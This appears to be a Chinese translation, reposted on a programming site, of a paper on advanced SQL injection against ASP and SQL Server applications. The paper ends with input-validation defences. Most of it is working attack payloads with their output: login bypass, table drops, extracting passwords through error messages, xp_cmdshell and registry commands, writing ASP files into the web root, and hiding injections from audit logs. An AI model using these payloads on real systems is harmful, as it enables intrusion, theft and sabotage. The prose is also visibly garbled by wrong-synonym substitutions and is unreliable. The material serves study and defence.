程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> MSSQL >> SQL數據庫的高等sql注入的一些常識

SQL數據庫的高等sql注入的一些常識

編輯:MSSQL

SQL數據庫的高等sql注入的一些常識。本站提示廣大學習愛好者:(SQL數據庫的高等sql注入的一些常識)文章只能為提供參考,不一定能成為您想要的結果。以下是SQL數據庫的高等sql注入的一些常識正文


[概 要]
這篇文章評論辯論經常使用的"sql注入"技巧的細節,運用於風行的Ms IIS/ASP/SQL-Server平台。這裡商量有關這類進擊各類可以注入法式拜訪數據和數據庫防備的辦法。這篇文章面向兩種讀者:一是基於數據庫web法式開辟人員和審核各類web法式的平安專家。
[介 紹]
構造化查詢說話(SQL)是一種用來和數據庫交互的文本說話SQL說話多種多樣,年夜多的方言版本都配合寬松地遵守SQL-92尺度(最新的ANSI尺度[譯者注:今朝最新的是SQL-99])。SQL運轉的典范的操作是“查詢”,它是可讓數據庫前往“查詢成果記載集”的語句聚集。SQL語句可以修正數據庫的構造(用數據界說說話"DDL")和操作數據庫裡的數據(用數據操作說話"DML")。我們在這裡側重評論辯論Transact-SQL(交互式SQL),運用於SQL-Server的SQL一種方言(非尺度SQL)。假如進擊者可以插一系列的SQL語句進入運用法式的數據查詢時,Sql注入進擊便可能產生。
一個典范的SQL語句是如許的:
select id, forename, surname from authors
這個查詢語句將會從'authors'表中前往'id','forename'和'surname'列的一切行。前往的成果集也能夠加以特定前提'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
留意這裡很主要的一點是'john'和'smith'是被單引號引住的,假定'forename'和'surname'字段是來自於用戶的輸出,進擊者便可能經由過程輸出不法字符串來對這個查詢停止SQL注入:
Forename:jo'hn
Surname: smith
查詢語句就會釀成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當數據庫試圖履行這個查詢,它會前往如許的毛病:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
這是由於拔出的單引號損壞了本來單引號引住的數據,數據庫履行到'hn'時掉敗。假如進擊者如許輸出:
Forename: jo'; drop table authors--
Surname:
...authors表就會被刪失落,緣由過一會再說明。
仿佛經由過程刪除用戶輸出的字符串中的單引號或許經由過程一些辦法防止它們湧現可以處理這個成績。固然如斯,然則要實行這個處理辦法還有許多的艱苦。由於起首:不是一切的用戶提交的數據都是字符串情勢,好比我們的用戶輸出經由過程'id'(看上去是個數字)來選擇一個用戶,我們的查詢能夠會如許:
select id,forename,surname from authors where id=1234
在這類情形下進擊者可以隨意馬虎的在數值輸出前面添加SQL語句。在其他SQL方言中,應用著各類分隔符,好比MS Jet DBMS引擎,日期可以用'#'符號來分隔。
其次,防止單引號其實不像開端我們想象的那樣是需要的處理方法,緣由上面評論辯論。
我們將以Active Server Pages(ASP)上岸頁面為例子來具體解釋,它拜訪一個Sql-Server數據庫而且驗證一個到我們設想的法式的拜訪。
這是用戶填寫用戶名和暗碼的表單頁面:

<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>

這是'process_login.asp'的代碼, 它處置用戶上岸:

<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>

這裡評論辯論的是'process_login.asp'中的創立'query string'的部門:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
假如用戶指定了上面如許的數據:
Username: '; drop table users--
Password:
'users'表會被刪除,一切用戶都不克不及上岸。'--'是Transact-SQL(交互式SQL)的單行正文符,';'標記著一個查詢的停止另外一個查詢的開端。用戶名最初的'--'用來使這個特別的查詢無毛病停止。
進擊者只需曉得用戶名,便可以經由過程以下的輸出以任何用戶的身份上岸:
Username: admin'--
進擊者可以經由過程上面的輸出以用戶內外的第一個用戶來上岸:
Username: ' or 1=1--
...更有甚者,進擊者經由過程以下的輸出可以以隨意率性虛擬的用戶上岸:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
由於法式信任進擊者指定的常量是數據庫前往的記載集的一部門。
[經由過程毛病信息獲得信息]
這個技巧是David Litchfield在一次滲入滲出入侵測試中起首發明的,後來david寫了篇關於這個技巧的文章,許多作者都參考過這篇作品。這裡我們評論辯論“毛病新聞”技巧潛伏的機制,使讀者可以充足懂得它而且能靈巧運用。
為了操作數據庫裡的數據,進擊者要肯定某個數據庫的構造。例如:我們的"user"表是用上面的語句樹立的:

create table users( id int,
username varchar(255),
password varchar(255),
privs int
)

而且拔出了上面的用戶:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我們假定進擊者要為本身拔出一個用戶,假如不曉得表的構造的話,他弗成能勝利。即便他命運運限好,'priv'字段的主要性還不清晰。進擊者能夠拔出'1',給本身在法式裡添加了一個低權限的用戶,而他的目的是治理員的權限。
關於進擊者來講榮幸的是:假如法式前往毛病(asp默許如斯),進擊者可以猜想全部數據庫的構造,讀取ASP法式銜接到SQL-Server的帳號權限內可以讀取的任何值。
(上面給出的應用下面供給的示例數據庫和asp劇本來講明這些技巧如何完成的)
起首,進擊者要肯定查詢的表名和字段名。要做到這點,進擊者可使用'select'語句的'having'子句:
username: ' having 1=1 --
這會惹起上面的毛病(譯者注:having字句必需和GROUP BY或許聚合函數一路合營應用,不然失足):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35

所以進擊者就曉得了表名和第一列的列名,他們可以經由過程給每列加上'group by'子句持續獲得其他列名,以下:

username: ' group by users.id having 1=1 --
(成果發生如許的毛病)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最初進擊者獲得了上面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
這句沒有毛病,相當於:
select * from users where username = ''
所以進擊者曉得了查詢只是關於'users'表的,而且次序應用了列'id,username,password,rpivs'。
假如進擊者能肯定各列的數據類型將會很有效,可以應用類型轉換毛病信息來到達這一點,看上面的例子:
Username: ' union select sum(username) from users--
這應用了SQL-Server試圖在肯定兩行能否雷同之前先履行'sum'子句的特征,盤算文本域的和會前往如許的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告知我們'username'字段的類型是'varchar'。相反的,假如我們試圖盤算數值型的字段,但成果兩行的列數其實不婚配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我們可以用這個技巧來年夜概地肯定數據庫內各列的類型。
如許進擊者便可以寫出一個格局完善的'insert'語句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
然則,這個技巧的潛力不止這些。進擊者可以應用任何毛病信息來裸露體系情況或許數據庫信息。履行上面的語句可以獲得一個尺度毛病信息的清單:
select * from master..sysmessages
檢討這個清單可以發明許多風趣的信息。
一個特殊有效的信息有關類型轉換,假如你試圖將一個字符串轉換成整型,全部字符串的內容將會湧現在毛病信息裡。以我們上岸頁的例子來講,應用上面的'username'將會前往SQL-Server的版本和它地點辦事器操作體系的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
這試圖將內置常量'@@version'轉換成整型,由於'users'表第一列是整數。
這個技巧可以用來讀取任何數據庫的任何表的任何內容,假如進擊者對用戶名和暗碼感興致,他們便可以從'users'表讀用戶名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'年夜的最小用戶名,並且試圖將它轉換成一個整數:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
進擊者就曉得'admin'帳號存在,他如今可以把他發明的用戶名放進'where'子句來重復測試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦進擊者肯定了用戶名,他便可以匯集暗碼;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個更“新穎”的技巧是將用戶名和暗碼銜接成一個零丁的字符傳,然後試圖將它轉換成整型。這將舉另外一種例子;Transact-SQL語句可以將字符串聯接成一行而不轉變他們的意義,上面的劇本將銜接這些值:

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

進擊者用這個'username'上岸(顯著都在統一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
這創立了一個只包括單列'ret'的表'foo',並且把我們的字符串放在外面。平日一個低權限的用戶可以在示例數據庫裡創立表,或許一個暫時表。
以後進擊者選擇查詢內外的字符串,就像後面說的:

Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35

然後刪除這個表:
Username: '; drop table foo--
這些例子僅僅揭開了這項技巧的奧秘面紗,不消說,假如進擊者可以從數據庫取得豐碩的毛病信息,他們的任務將年夜年夜的簡化。
[更深刻的拜訪]
一旦進擊者可以掌握數據庫,他們能夠想經由過程這些權限來取得對收集更多的掌握,可以經由過程許多辦法來到達這一目標:
1.應用xp_cmdshell擴大存儲以SQL-Server用戶的身份在數據庫辦事器上履行敕令
2.應用xp_regread擴大存儲讀取注冊表的鍵值,也包含SAM(只需SQL-Server是以一個當地帳號運轉的)
3.用其他的擴大存儲轉變辦事器設置
4.在結合辦事器上履行查詢
5.創立客戶擴大存儲從而在SQL-Server過程內運轉exploit
6.用'bulk insert'語句去讀辦事器上任何文件
7.用bcp在辦事器上創立任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty體系存儲進程來創立ActiveX對象來完成asp劇本可以做的任何工作
這些只是罕見的進擊辦法的一部門;進擊者也極可能經由過程其他辦法來到達目標,我們羅列這些SQL-Server相干的進擊辦法是為了解釋假如法式可以被注入SQL語句時能夠會產生甚麼,我們將順次給出以上各類情形的對策。
[xp_cmdshell]
擴大存儲的實質是編譯了的靜態鏈接庫(DLLs),它用SQL-Server指定的挪用方法去運轉接口函數。他們許可SQL-Server法式具有了和c/c++一樣的功效,是個異常有效的特征。SQL-Server內置了年夜量的擴大存儲,並且有各類各樣的函數好比發送郵件和更改注冊表。
xp_cmdshell是一個內置的擴大存儲,它許可履行隨意率性的敕令行法式。例如:
exec master..xp_cmdshell 'dir'
將會取得一個SQL-Server過程地點任務目次的列表
exec master..xp_cmdshell 'net1 user'
將供給主機用戶的列表。假如SQL Server正常的以當地'system'帳號或許'domain user'帳號運轉,進擊者可以形成更嚴重損壞。
[xp_regread]
別的一個有效的內置的擴大存儲是xp_regXXX函數
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
個中一些函數的用法的舉例:
exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(它決議辦事器的空銜接式同享能否可用)
exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
(它顯示一切的辦事器上SNMP公共的設置,經由過程這個信息,進擊者可以在雷同的收集區域裡從新設置裝備擺設收集設置,由於SNMP共有設置很少被轉變並且由許多主機同享)
可以想象進擊者如何應用這些函數來讀取SAM文件,轉變體系設置在從新啟動後就被辦事的運用,或許在用戶下一次上岸時運轉隨意率性敕令。
[其他擴大存儲]
xp_servicecontrol擴大存儲許可用戶啟動,停滯,暫停或許運轉辦事。
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
上面是一些其他有效的擴大存儲表:
xp_availablemedia 顯示機械上可用的驅動器
xp_dirtree 取得一個目次樹
xp_enumdsn 羅列辦事器上的ODBC數據源
xp_loginconfig 顯示辦事器的平安狀況信息
xp_makecab 許可用戶在辦事器上創立緊縮文件(或許任何辦事器可以拜訪的文件)
xp_ntsec_enumdomains 羅列辦事器可以拜訪的域
xp_terminate_process 停止一個給定PID過程
[結合辦事器]
SQL-Server供給了一個辦事器結合的機制,就是許可一個數據庫辦事器上的查詢操作其他辦事器的數據。這些結合設置寄存在master..sysservers內外,假如一個相連的辦事器應用了'sp_addlinkedsrvlogin'存儲進程,一個主動的上岸了的銜接曾經存在,可以經由過程它不上岸而拜訪該辦事器。'openquery'函數許可查詢在結合辦事器上履行。
[用戶自界說擴大存儲]
擴大存儲的API是相當簡略的,創立一個帶有歹意代碼的擴大存儲DLL也是相當輕易的。經由過程敕令行有許多辦法將DLL上傳到辦事器,還有其他的許多辦法包含各類通訊機制來主動完成,好比HTTP下載和FTP劇本。
一旦DLL文件湧現在辦事器上SQL-Server可以拜訪,這紛歧定須要SQL-server自己,進擊者可以經由過程上面添加擴大存儲(這裡,我們的歹意擴大存儲是個用來操作辦事器的文件體系小的木馬)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴大存儲便可以經由過程普通的辦法挪用:
exec xp_webserver
一旦這個擴大存儲履行過,可以如許刪除它:
sp_dropextendedproc 'xp_webserver'
[向表中導入文本文件]
應用'bulk insert'語句,可以把一個文本文件的內容拔出進一張暫時表,我們簡略的創立一個表:
create table foo( line varchar(8000) )
然後履行bulk insert來拔出數據來自於一個文件:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
經由過程下面引見過的毛病信息技能便可以獲得數據,或許經由過程一個'union'查詢,把文本數據作為查詢的數據前往。這關於取得存儲在數據庫裡的劇本如asp劇本很有效。
[應用BCP創立文本文件]
應用和'bulk insert'感化相反的技巧創立隨意率性的文本文件異常簡略。不外須要一個敕令行對象'bcp'('bulk copy program'),由於bcp在SQL-Server過程外拜訪數據庫,它須要一次上岸。然則這不難,由於進擊者都可以創立一個;或許假如辦事器設置裝備擺設應用了“完全性”平安形式,進擊者可以應用它。
敕令行格局以下:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
'S'參數是要運轉查詢的辦事器,'U'參數是用戶名,'P'是暗碼,這裡的暗碼是'foobar'。
[SQL-Server 裡的ActiveX主動劇本]
SQL-Server供給了一些內置的擴大存儲,許可在SQL-Server內創立ActiveX主動劇本。這些劇本在功效上和windows scripting host上運轉的劇本或許asp劇本(平日用Javascript或許Vbscript編寫)一樣,劇本創立主動對象而且經由過程他們發生感化。一個用Transact-SQL寫的主動劇本可以做任何asp劇本或許WSH劇本能做的事。
上面供給一些例子來講明:
1)這個例子用'wscript.shell'對象創立一個notepad的實例(固然這裡也能夠是任何敕令行敕令)

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我們的例子裡可使用如許的用戶名(都在一行):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

3)上面的例子創立一個asp劇本履行隨意率性敕令:

-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '

須要留意的很主要的一點是Windows NT4,IIS4平台asp劇本將會以'system'的帳號運轉,而在IIS5他們會以低權限的IWAM_xxx帳號運轉。
4)這個例子(稍帶誘騙性)解釋這項技巧的靈巧性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)對象,使SQL Server措辭:

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

這固然也能夠在我們的例子裡應用,經由過程指定上面的'username'(留意例子不只是注入一段劇本,同時也以'admin'的身份上岸了法式)
用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-
[存儲進程]
傳統的熟悉是假如ASP法式應用了數據庫體系的存儲進程,那末就弗成能SQL注入了。這句話不完整對,這依附於ASP劇本挪用存儲進程的方法。
實質上,一個帶參數的查詢履行了,用戶供給的參數就被平安的傳給查詢,SQL注入就弗成能了。然則,假如進擊者可以對有數據部門的查詢語句施加任何影響,他們依然能夠掌握數據庫。
一個有效的規矩是:
1. 假如ASP劇本創立了一個提交給辦事器的SQL查詢語句,這是很輕易被SQL注入的,即便它應用了存儲進程。
2. 假如ASP劇本應用了封裝傳遞參數給存儲進程的進程對象(如ADO command對象,和參數聚集一路應用的)那末它平日就很平安了,然則這還要取決於對象的履行。
顯著的,最好習氣於驗證一切的用戶輸出,由於新的進擊技巧會一直的出現。
為了解釋存儲進程查詢的注入,運轉上面的SQL語句:
sp_who '1' select * from sysobjects
或許
sp_who '1' ; select * from sysobjects
任何附加語句在存儲進程履行後照樣可以履行。
[高等Sql注入]
一個運用法式平日過濾單引號,另外一方面限制用戶的輸出,好比限制長度。
在這裡,我們將評論辯論一些繞過一些顯著的SQL注入防備的和長度限制的技能。
[沒有符號的字符串]
有時刻,開辟人員能夠曾經經由過程過濾單引號來掩護運用法式,好比用VBScript的'replace'函數:

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

弗成否定,這會阻攔一切的對我們下面給出的對示例站點的進擊,刪除';'字符也會起感化。然則,在一個年夜的法式裡一些用戶輸出能夠被假定為數值型。這些值沒無限制,供給了許多可以注入的處所。
假如進擊者願望創立一個字符串值而不應用引號,他們可以用'char'函數。例如:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

它是一個往內外拔出字符的不帶引號的查詢語句。
固然,假如進擊者應用一個數值型的用戶名和暗碼的話,上面的語句也異樣可以很好的履行:
insert into users values( 667,
123,
123,
0xffff)
由於SQL-Server主動將數值型的轉換成'varchar'類型,類型轉換是默許的。
[SQL二次注入]
即便一個法式老是過濾單引號,進擊者依然可以先注入SQL作為數據寄存在數據庫裡然後被法式再次應用。
好比,一個進擊者能夠經由過程注冊,創立一個用戶名
Username: admin'--
Password: password
法式准確的過濾了單引號,'insert'語句以下:
insert into users values ( 123, 'admin''--', 'password', 0xffff)
我們假定法式許可用戶更改暗碼,ASP劇本在設置新的暗碼前先確認用戶舊暗碼准確。代碼能夠如許寫:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{


設置新暗碼的查詢語句能夠如許寫的:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")是上岸的查詢前往的的用戶名。
用戶名為admin'--,下面的查詢就釀成了如許:
update users set password = 'password' where username = 'admin'--'
是以進擊者可以經由過程注冊了一個名叫admin'--的用戶來把admin的暗碼改成他們本身的。
這是個風險的成績,今朝年夜部門的年夜型法式都試圖過濾數據。最好的處理辦法是謝絕不法輸出,而不是簡略的轉變它。這有時刻會招致一些成績,不法字符在某些處所是需要的,好比在名字帶符號的情形:
O'Brien
從平安的角度,最好的處理方法是不許可湧現單引號。假如如許不可,必需防止它們湧現,這類情形下,最好包管一切要進入SQL語句的字符(包含從數據庫裡掏出的字符)都被准確的處置過。
即便如許進擊仍然能夠完成:假如進擊者可以不經由法式而往體系拔出數據。好比進擊者有一個email接口,或許有一個可以掌握的毛病記載數據庫。最好老是驗證一切的數據,包含體系裡的數據,驗證函數挪用很簡略,好比:
if ( not isValied( "email", request.querystring("emil") ) ) then
response.end
或許其他的辦法
[長度限制]
有時刻輸出對數據的長度加以限制會使進擊艱苦很多,這切實其實阻攔了一些進擊,但一個很短的SQL語句也能夠形成異常年夜的傷害:
Username: ';shutdown--
封閉SQL-Server,只用了12個字符。另外一個例子:
drop table
假如長度限制是在字符串過濾後,另外一個成績能夠會產生。假定用戶名被限制在16個字符以內,暗碼也被限制在16個字符以內,上面的用戶名和暗碼聯合可以履行'shutdown'敕令:
Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--
緣由是法式過濾用戶名最初的單引號,然則字符串又被切回到16個字符,刪除過濾的單引號。成果是暗碼域可以包括一些SQL, 只需它以一個單引號開端,最初的查詢會釀成如許:
select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--
用戶名在查詢裡就釀成:
aaaaaaaaaaaaaaa' and password='
前面附上的SQL被履行。
[回避審核]
SQL Server在sp_traceXXX系列的函數包括豐碩審核接口,它可以記載任何數據庫裡的事宜。這裡我們特殊感興致的是T-SQL事宜,它記載了一切的SQL語句和辦事器上預備好的和已運轉了的批處置。假如這個級其余審核開啟的話,一切我們評論辯論的注入都將被記載上去有經歷的數據庫治理員將會看到一切產生的工作。然則假如進擊者附加上面的字符:
sp_password
到一個Transact-SQL語句,這個審核記載以下:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
這在一切的的T-SQL日記記載時都邑產生,即便'sp_password'湧現在正文中。這固然是在用戶傳遞sp_password時成心隱蔽用戶的明文暗碼,但這對進擊者相當有效。
所以,為了隱蔽一切的注入進擊者只須要在正文符'--'前面加一個字符串:
Username: admin'--sp_password
現實上一些履行了的SQL將被記載,然則查詢字符串自己被強迫不記載。
[防 范]
這部門評論辯論一些針對這些進擊的防備辦法。輸出驗證曾經評論辯論過了,一些代碼也給出了,前面我們研討SQL-Server防備成績。
[輸出驗證]
輸出驗證是一個很龐雜的成績。普通在一個開辟項目中它很少被留意,由於過度的驗證常常使一個法式的某部門被打斷,所以輸出驗證是個困難。輸出驗證常常不加到法式的功效裡,因此在工期將至而趕法式時不會被人留意。
上面是關於驗證的簡略的評論辯論附示例代碼,這個示例代碼固然不克不及直接用在法式裡,但可以很好的解釋分歧的戰略。
各類數據驗證的門路可以分類為以下幾種:
1)整頓數據使之變得有用
2)謝絕已知的不法輸出
3)只接收已知的正當的輸出
有許多概念上的成績;起首,開辟者沒有需要曉得不法數據由甚麼構成,由於新情勢的不法數據隨時都能夠發生。第二,轉變數據會轉變它的長度,如許會招致後面提到的成績。最初,還有須要對體系已稀有據的重用的話有二次注入的成績.
處理計劃2也會碰到和1的一些類似的成績,懂得不法數據會過時,由於新的進擊技巧也在成長。
處理計劃3能夠是三種辦法中最好的,然則比擬難於履行。
從平安角度來斟酌能夠最很多多少處理辦法是把處理計劃2和3聯合起來只許可正當的輸出,然後再尋覓不法字符。
一個必需聯合這兩種門路的例子是帶有連字符的名字的成績:
Question Bassington-Bassington
我們必需在正當輸出裡許可連字符號,然則也要明確字符串'--'在SQL-Server裡意味著甚麼。
當數據整頓聯合了不法字符驗證時另外一個成績就會產生。假定我們運用“不法字符探測器”來探測'--','select'和'union'”後應用“數據整頓過濾器”刪除單引號,進擊者便可以指定如許的輸出:
uni'on sel'ect @@version-'-
由於單引號被過濾器刪除,進擊者可以把單引號分布於它的已知的不法字符串裡來回避檢討。
上面是一些驗證的代碼:
辦法1-回避單引號

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

辦法2-抵抗已知的不法輸出

function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 )
validate_string = false
exit function
end if
next
end function

辦法3-只許可正當輸出

function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved